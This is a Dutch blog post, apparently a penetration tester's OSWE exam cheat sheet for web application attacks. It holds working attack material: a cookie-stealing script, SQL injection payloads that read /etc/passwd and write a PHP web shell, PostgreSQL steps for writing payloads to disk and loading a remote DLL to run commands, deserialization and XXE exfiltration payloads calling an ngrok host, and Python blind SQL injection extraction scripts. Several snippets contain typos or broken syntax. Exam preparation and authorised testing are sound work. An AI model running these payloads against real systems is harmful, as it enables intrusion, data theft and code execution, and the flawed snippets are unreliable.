V1s3r1on

OSCP/OSWE/Penetration tester/Hobbyist/CTF speler

OSWE cheat sheet

In de komende dagen bouw ik aan een cheat sheet voor het OSWE examen. Handige dingen om er naast te hebben.

Cross site reqeust forgery

Volgende script is handig om cookies te stelen:

function cookieStealer() {
    var img = document.createElement('img');
    img.src = 'URL' + document.cookie;
    document.body.appendChild(img);
}

cookieStealer();

Session hijacking

Voer onderstaande commando uit in browser console (rechtermuisknop —> element inspecteren):

javascript:void(document.cookie="COOKIE");

DnsSpy

Een DLL of .exe analyseren met DnsSpy gebeurt als volgt:

  1. Sleep het bestand naar het venster of klik in het menu op load en kies een bestand.
  2. Het is mogelijk om te zoeken door rechtsonder te kijken en vervolgens op ‘zoek’ te klikken of vanuit het menu naar zoek gaan.
  3. Voor cross-reference te vinden doe het volgende. rechtermuisknop op een function in het menu links met alle functies vervolgens klik op Analyse. Nu zien wij de cross-reference.
  4. Om een class aan te kunnen passen doe het volgende. Rechtermuisknop op een methode vervolgens Edit Class waarna je nu aanpassingen kan verrichten. Daarna klikken we op Compile en dan op File -> Save all om de originele versie te overschrijven.

Java

Voor java hebben wij jd-gui om dit te kunnen decompileren. Handig is om een jar bestand te decompileren naar java bestanden en dit met een ander programma door zoeken zoals visual studio code, sublime text of notepad++.

hieronder handige commando’s om te weten:

javac -source <version> -target <version> <java file> // compiles a java file

echo "Main-Class: test" > META-INF/MANIFEST.MF // is required

jar cmf META-INF/MANIFEST.MF <jar file> <class file>

java -jar <jar file>

voor jd-gui is het ook mogelijk bestand te slepen naar het programma om het in te kunnen laden.

Analyse tips

  1. Indien het mogelijk is, schakel database logging aan. Zodat je ziet wat er gebeurd op de achtergrond
  2. Maak gebruik van print statements om te debuggen.
  3. Probeer om de gecompileerde applicatie live te debuggen. voor .NET maak gebruik van DnsSpy en voor Java is Eclipse handig.
  4. Kijk unauthenticated gedeelte eerst van de applicatie daarna naar gedeeltes die waarschijnlijk minder aandacht hebben gehad.
  5. Kijk hoe gebruikers invoer wordt gefilterd of gesanitiseerd. word het gedaan aan de hand van een open source vertrouwde library of een zelfgemaakte oplossing?

BurpSuite tips

  1. Minimaliseer je reqeust door telkens een parameter te verwijderen en de reqeust opnieuw te versturen net zolang totdat je een error krijgt. Dan weet je dat het tot daar kan en niet verder.

SQL injectie

Bij invoer kan het volgende worden geprobeerd om te kijken of er sql injectie aanwezig is:

',",'),"),(),.,*/,<!--,--

Volgende queries kan worden gebruikt om bestanden te lezen of bestanden te schrijven.

# read the content of passed
UNION SELECT LOAD_FILE ("etc/passwd")-- leest passwd content

# write the php script to a file called shell.php in tmp folder.
UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/tmp/shell.php"-

Om bovenstaand commando uit te kunnen voeren moet je wel file permissie hebben.

Code waar je op moet letten

# Vulnerable to SQL injection
$SQL = SELECT * FROM users WHERE username = . " $_GET['userid'] "; 

Zo vraag je de versie op van een microsoft SQL server:

# Shows version in microsoft SQL server
' and 1 in (select @@version) -

De standaard accounts die worden aangemaakt tijdens installatie zijn als volgt:

Microsoft SQL server: sa
MYSQL: root, anonymous
Oracle: sys, system, DBSAMP, OUTLN

Meta-data opvragen uit de database:

MYSQL: Information_schema
Microsoft SQL server: Information_schema
Oracle: ALL_TABLES, ALL_TAB_COLUMNS

Hieronder aantal queries om meta data op te vragen:

-- Oracle statement to enumerate all accessible tables for the current user
SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME;

-- MYSQL statement to enumerate all accessible tables and databases for the current user
SELECT table_schema, table_name FROM information_schema.tables;

-- MSSQL statement to enumerate all accessible tables using the system tables
SELECT name FROM sysobjects WHERE type ='U';

--MSSQL statement to enumerate all accessible tables using the catalog views
SELECT name FROM sys.tables;

Union query is alleen handig als het direct terug word gereflecteerd naar de applicatie, anders zien wij niet wat voor resultaat de query heeft. Hieronder een voorbeeld union query.

# Example of union query
SELECT * FROM members WHERE (firstname LIKE 'admin') UNION ALL SELECT 1,1,1,1#

MYSQL

Indien er gefilterd word op spatie kan het volgende worden gebruikt:

/**/ = space

Voorbeeld:

select/**/1; 

versie achterhalen in MYSQL indien filtering word toegepast:

# evaluate to true
A')/**/or/**/(select/**/1)=1%23; 

# evaluate to false
A')/**/or/**/(select/**/1)=0%23; 

Versie achterhalen in MYSQL:

select/**/(substring((select/**/version()),1,1))='5';

or with ascii encoding

select/**/ascii(substring((select/**/version()),1,1)=56;

Om databse logging aan te zetten doe het volgende:

  1. nano /etc/mysql/my.cnf
  2. uncomment de volgende 2 lijnen
    1. general_log = /var/log/mysql/mysql.log
    2. general_log = 1

Postgresql

In plaats van de quote (‘) te gebruiken kunnen wij het volgende gebruiken:

select $$test$$;
select $tag$test$tag$

Handige queries:

CREATE TEMP TABLE test (test text);
INSERT INTO test(test) VALUES ($$welcome$$);
COPY test(test) TO $$C:\Prgroam Files(x86)\test.txt;

Volgende qeury toont aan of wij DBA (database administrator) zijn:

SELECT CURRENT_SETTING ('is_superuser');

# Time based sql injection
SELECT+CASE+WHEN+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+

Copy from file to table
COPY <TABLENAME> FROM <Filename>;

Copy from table to file
COPY <Tablename> TO <Filename>

Copy the text test to the filename
COPY (SELECT $$test$$) TO <Filename>

Read a file from the system
1. CREATE TEMP TABLE test (content text);
2. COPY test FROM $$C:\test.txt$$;
3. SELECT content FROM test;
4. DROP TABLE test;

Injecting code to a particular file
COPY (SELECT convert_from(decode($$encoded_payload$$, $$base64$$), $$utf-8$$)) TO $$C:\\Program+Files+(x86)\\test\\test.vbs$$;

Zet database logging aan:

  1. In /etc/postgresql/postgresql.conf verander log_statement naar ‘all’

Postgresql decode functie:

SELECT convert_from(decode('QVdBRQ==','base64'),'utf-8');

chr en string samenvoeging:

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

65 = A
87 = W
65 = A
69 = E

AWAE

Maak een large object aan:

UPDATE pg_largeobject set data=decode('77303074', 'hex') where loid=1337 and pageno=0;

Exporteer een large object naar het systeem met behulp van de loid als de identifier:

SELECT lo_export(1337,'C:\\new_win.ini');

Verwijder een large object:

\lo_unlink 1337

Maak een functie in postgresql:

CREATE OR REPLACE FUNCTION remote_test(text, integer) test RETURNS VOID AS $$\\IP\test\test.dll$$,$$executeCMD$$ LANGUAGE C STRICT;

SELECT remote_test($$calc.exe$$, 3);

#import the file in de database with the help of the large object.
SELECT lo_import('C:\\windows\\win.ini');

#Shows running functions
\lo_list

# making a function with defined loid
SELECT lo_import('C:\\windows\\win.ini',1337);

# Select the function
SELECT loid, pageno FROM pg_largeobject;

Om de aangemaakte functie te verwijderen moeten we het volgende doen:

1) net stop "Applications Manager"
2) del C:\test.dll
3) net start "Applications Manager"
4) DROP FUNCTION test(text, integer);

Time based sql injection:

SELECT CASE WHEN (ascii(substr( (select+content+from+test), 1, 1)=104) then pg_sleep(10) end;--+
VersionSELECT version()
CommentsSELECT 1; –comment
SELECT /*comment*/1;
Current UserSELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List UsersSELECT usename FROM pg_user
List Password HashesSELECT usename, passwd FROM pg_shadow — priv
Password CrackerMDCrack can crack PostgreSQL’s MD5-based passwords.
List PrivilegesSELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA AccountsSELECT usename FROM pg_user WHERE usesuper IS TRUE
Current DatabaseSELECT current_database()
List DatabasesSELECT datname FROM pg_database
List ColumnsSELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List TablesSELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column NameIf you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;

Time based sql injections

MYSQL

Resulting query (with malicious SLEEP injected).
SELECT * FROM products WHERE id=1-SLEEP(15)
 
Resulting query (with malicious BENCHMARK injected).
SELECT * FROM products WHERE id=1-BENCHMARK(100000000, rand())

Resulting query - Time-based attack to verify database version.
SELECT * FROM products WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)

SQL Server

Resulting query (with malicious SLEEP injected).
SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15'

Resulting query (verify if user is sa).
SELECT * FROM products WHERE id=1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15'

Oracle

Executing SLEEP() in Oracle (execution suspended 15 seconds).
BEGIN DBMS_LOCK.SLEEP(15); END;

PostgreSql

select//CASE//WHEN//ascii(substring((select//version()),%d,1)))=[CHAR]//THEN//SLEEP(5)//ELSE//NULL/**/END

Extensions

Handig voor file upload bypass

.php
.php3
.php4
.php5
.php7
.pht
.phar
.phpt
.pgif
.phtml
.phtm

Double extensions
.jpeg.php
.jpg.php
.png.php

Serialization/Deserialization

Python

Blackbox benadering

Als het verkeer data bevat dat het symbool . aan het eind heeft is het hoogst waarschijnlijk dat de data is gestuurd met behulp van serialization.

Whitebox benadering

De volgende API in python is kwetsbaar voor serialization aanvallen. Zoek voor de voor de volgende patronen:

import pickle
data = """ cos.system(S'dir')tR. """
pickle.loads(data)

Gebruik van PyYaml met load:

import yaml
document = "!!python/object/apply:os.system ['ipconfig']"
print(yaml.load(document))

Gebruik van jsonpickle samen met encode of store methoden.

Java

Whitebox benadering

De volgende termen zijn handig om op te zoeken:

  1. XMLDecoder met externe gebruikers gedefinieerde parameters.
  2. XStream samen met fromXML
  3. ObjectInputStream() met readObject
  4. readObject
  5. readObjectNodData
  6. readResolve
  7. readExternal
  8. ObjectInputStream.readUnshared
  9. Serializable

Blackbox benadering

Als in de reqeust het volgende te zien is:

  1. AC ED 00 05 in hex
  2. rO0 in Base64
  3. Content-Type gezet naar application/x-java-serialized-object

CSharp

Whitebox benadering

Zoek in de bron code naar:

  1. TypeNameHandling
  2. JavaScriptTypeResolver
  3. Zoek naar elke serializer waar het type word gezet door gebruiker beherende variable.

Blackbox benadering

De volgende base64 encoded inhoud begint met:

  1. AAEAAD/////

Zoek naar content met de volgende tekst:

  1. TypeObject
  2. $type:

Zoektermen

Aantal termen waar gezocht naar kan worden in de bron code.

PHP

  • Exec_shell
  • Exec
  • system
  • pop
  • create_function
  • require
  • move_uploaded_file
  • unserialize
  • serialize
  • SELECT
  • FROM
  • WHERE
  • eval

In php de ENT_QUOTES converteer dubbel en enkele quotes.

PHP magic_quotes is sinds versie 5.4.0 weg gehaald en per standaard niet aanwezig. Daarnaast is mysql_connect functie standaard aanwezig in PHP vanaf versie 5.0.

In het geval van onderstaand hash word dit gezien als een integer en in het geval van losse vergelijking kan dit misbruikt worden:

0e1234551312312
0E131231331212312
0.12312331231312

Bovenstaand hashes vallen allemaal onder de exponential number notatie en dit betekend dat het begint met een 0 gevolgd door e/E/. en verder allemaal nummers.

Java

  • doGet
  • doPost
  • doPut
  • doDelete
  • doCopy
  • doOptions

XXE

Een voorbeeld script voor een XXE aanval:

# Loads the etc/passwd file and shows content
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<item>
    <product>&test;</product>
</item>

Een voorbeeld script van een DTD (Document Type Definition):

# test.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> 

In combinatie met volgende script kan je bestanden opvragen:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://2ad0a748.ngrok.io/test.dtd"> %dtd; %all;]> 
<item>
    <product>&fileContents;</product>
</item>

GREP

Grep commando om snel door code te kunnen zoeken.

grep -rnw /tmp -e "test" --color

Als je iets niet in je zoek resultaten wilt hebben bijvoorbeeld javascript bestanden doe dan het volgende:

grep -rnw /tmp -e "test" --color --exclude=*.js

Naast grep kan ook egrep worden toegepast:

egrep '/$addslashes.*=.*' /tmp/test_script/ -r --color

Java

De hoofd klas om toegang te krijgen tot bestanden en mappen in java is java.io.File.

String userinput = "..\\boot.ini";
File f = new File("C:\\temp", userinput);

De meest gebruikten klassen in java voor het lezen en schrijven van bestanden zijn:

  • Java.io.FileInputStream
  • Java.io.FileOutputStream
  • Java.io.FileReader
  • Java.io.FileWriter

Java API’S meest gebruikte klassen voor uitvoeren van willekeurige string als een sql query:

  • Java.sql.Connection.CreateStatement
  • Java.sql.Statement.Execute
  • Java.sql.Statement.ExecuteQeury
String username = "admin' or 1=1--";
String password = "foo";
Statement s = connection.CreateStatement();

s.executeQeury("SELECT * FROM users WHERE username = "' + username + "' AND password = "' + password + "'");

De volgende API’s kunnen externe commando’s uitvoeren vanuit de java applicatie:

  • Java.lang.Runtime.Runtime.GetrunTime
  • Java.lang.runtime.Runtime.Exec

ASP.NET

ASP.NET applicaties bemachtigd de gebruiker gecontrolleerde invoer via de System.web.HttpReqeust klas. System.io.File is de hoofd klas om toegang te krijgen tot bestanden. De volgende klassen zijn het meest bekend om bestanden te lezen of schrijven:

  • System.io.FileStream
  • System.io.StreamReader
  • System.io.StreamWriter

Uitvoeren van SQL statements:

  • System.Data.SqlClient.SqlCommand
  • System.Data.SqlClient.SqlDataAdapter
  • System.Data.Oledb.OleDbCommand
  • System.Data.Odbc.OdbcCommand
  • Syste.Data.SqlServerCe

In ASP.NET de web.config xml bestand in de root directory bevat de configuratie settings van de ASP.NET applicatie.

Scripts

Haal informatie uit de database (MySql):

import requests

url = "http://127.0.0.1/test/test.php?id=2&q="
ascii_injection = """O') AND ASCII(SUBSTR(({}),{},{})){} AND BENCHMARK(3000000,SHA1(1337))%23"""
STARTING_POINT = 32
FINISH_POINT = 126
JUMPS = 10

def get_final_payload(query, first, second, result):
    return ascii_injection.format(query, first, second, result).replace(" ","/**/")

def test(injection):
    print(injection)
    req = requests.get(url + injection)
    print(req.elapsed)

    if int(str(req.elapsed)[6]) > 0:
        return True
    return False

def extract(query, pos):
    specific = True

    while True:

        char = STARTING_POINT
        follow = False
        while not follow:
            char += JUMPS

            if char >= FINISH_POINT + JUMPS:
                specific = False
                break

            follow = test(get_final_payload(query, pos, pos, f"<{char}"))

        if specific:
            for i in range(char-10, char+1):
                if test(get_final_payload(query, pos, pos, f"={i}")):
                    return chr(i)
        return ""

def extract_all(query):
    pos = 0
    final = ""
    follow = True

    while follow:
        pos +=1
        follow = extract(query, pos)
        final += follow
        print(final)

    return final


while True:
    query = input("$ ")

    print(extract_all(query))

Makkelijkere script om data uit database te halen (MySql):

import sys
import requests

def extract_info(ip, inj_str):
    try:
        for j in range(32, 126):
            target = "http://%s/test.php?q=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
            r = requests.get(target)
            content_length = int(r.headers['Content-Length'])
            if (content_length > 20):
                return j
    except:
        for j in range(32, 126):
            target = "http://%s/test.php?q=%s" % (ip, inj_str.replace("[CHAR]", int(j)))
            r = requests.get(target)
            content_length = int(r.headers['Content-Length'])
            if (content_length > 20):
                return j
    
    return None


def main():
    if len(sys.argv) != 2:
        print("[+] usage: {} <injection string>").format(sys.argv[0])
        sys.exit(-1)

    ip = sys.argv[1]

    print("[*] Retrieving database version...")
    for i in range(1, 20):
        injection_string = "test')/**/or/**/(select/**/ascii(substring((select/**/version()),%d,1)))=[CHAR]%%23" % i
        extracted_char = chr(extract_info(ip, injection_string))
        sys.stdout.write(extracted_char)
        sys.stdout.flush()
    
    print("\n[*] Done")


if __name__ == "__main__":
    main()

Maak een tekst bestand aan op de slachtoffer zijn computer (PostgreSql):

import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def main():
    ip = 'http://127.0.0.1'
    url = '{}:1234/servlet/TestServlet'.format(ip)
    sqli = ";select+case+when+(select+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(20)+end;--+"
    copy_to = ";COPY+(select+$$test$$)+to+$$c:\\\test.txt$$;--+"
    binary_data_sqli = ";COPY+(select+$$test$$)+to+$$c:\\\test.dat$$+with+BINARY;--+"


    r = requests.get(url,params='ForMasRange=1&userId=1%s' % binary_data_sqli ,verify=False)
#    print r
    print(r)
#    print r.headers
#    print copy_to

if __name__ == '__main__':
    main();

Deze script logt in op een website:

import sys
import hashlib
import requests

def gen_hash(password, token):
    result = hashlib.sha1(password + token)
    hex_dig = result.hexdigest()
    print(hex_dig)
    return hex_dig


def we_can_login_with_a_hash():
    target = "http://{}/login.php".format(sys.argv[1])
    token = "hax"
    hashed = gen_hash(sys.argv[2], token)
    d = {
        "form_password_hidden" : hashed,
        "form_login" : "test",
        "submit" : "Login",
        "token" : token
    }
    s = requests.Session()
    r = s.post(target, data=d)
#    print(s)
#    print(r)
    res = r.text
#    print(res)

    if "succesfully signed in" in res or "User: test" in res:
        return True
    return False


def main():
    if len(sys.argv) != 3:
        print("Not enough parameters")
        sys.exit(-1)
    if we_can_login_with_a_hash():
        print("(+) Success")
    else:
        print("(-) Failure!")


if __name__ == "__main__":
    main()

Een script dat een zip bestand maakt:

#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def create_zip():
    f = StringIO()
    z = zipfile.Zipfile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('test.txt', 'this is a test')
    z.close()
    zip = open('test.zip','wb')
    zip.write(f.getvalue())
    zip.close()

create_zip()

Java

Hieronder een voorbeeld script om een java class te bouwen om vervolgens te kunnen compileren naar een jar file en te kunnen runnen.

// Place import statements here

class Sample_Class {

  // Declare global variable here
  
  public int sample_func() {
    System.out.println("Sample text");
    return 0;
  }

  public static void main(String[] args){
    int ret = (new Sample_Class()).sample_func();
  }
}

Hoe compileer je een java bestand naar een jar om het te kunnen uitvoeren:

1. javac filename.java
2. java filename

for example:

javac test.java
java test

NodeJS

In nodejS is het handig om te beginnen met zoeken naar laag hangend fruit waaronder:

  • eval

Windows

Hieronder aantal handige commando’s voor op een windows omgeving.

Onderstaand commando laat de SQL log bestanden zien:

Get-content pathtotextfile -Tail 0 -Wait || tail -f in windows to see sql logs

Linux

Om bestanden over te zetten kan je het volgende doen:

scp remote_username@10.10.0.2:/remote/file.txt /local/directory

Onderstaande commando converteert het resultaat van xxd naar hex code voor gebruik in exploit code:

xxd <filename> | cut -d" " -f 2-9 | sed 's/ //g' | tr -d '\n' > output_file.txt

een SMB share opzetten:

1) mkdir /tmp/test
2) sudo impacket-smbserver test /tmp/test/

Onderstaand commando laat live de mysql log zien:

tail -f -n 300 /var/log/mysql/mysql.log

Regex

Onderstaand zoekt naar alles wat een ‘qeury’ bevat bijvoorbeeld:

String $query = 'SELECT * FROM users where username = " + name + ";
^.*qeury.*?select.*?

Bronnen

Please share and spread
4.7 14 stemmen
Artikelbeoordeling
Next Article
Abonneer
Laat het weten als er
guest
0 Reacties
Inline feedbacks
Bekijk alle reacties
NederlandsEnglish
0
Zou graag je gedachten willen weten, s.v.p. laat een reactie achter.x
()
x